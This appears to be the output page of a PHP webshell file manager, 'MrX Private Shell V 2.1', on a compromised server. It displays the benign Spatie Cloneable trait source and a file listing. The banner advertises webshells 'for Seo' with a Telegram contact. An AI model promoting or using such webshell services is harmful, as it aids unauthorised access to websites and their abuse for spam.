__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Spatie\Cloneable;
use ReflectionClass;
trait Cloneable
{
public function with(...$values): static
{
$refClass = new ReflectionClass(static::class);
$clone = $refClass->newInstanceWithoutConstructor();
foreach ($refClass->getProperties() as $property) {
if ($property->isStatic()) {
continue;
}
$objectField = $property->getName();
if (array_key_exists($objectField, $values)) {
$objectValue = $values[$objectField];
} elseif ($property->isInitialized($this)) {
$objectValue = $property->getValue($this);
} else {
continue;
}
$declarationScope = $property->getDeclaringClass()->getName();
if ($declarationScope === self::class) {
$clone->$objectField = $objectValue;
} else {
(fn () => $this->$objectField = $objectValue)
->bindTo($clone, $declarationScope)();
}
}
return $clone;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Cloneable.php | File | 1.08 KB | 0777 |
|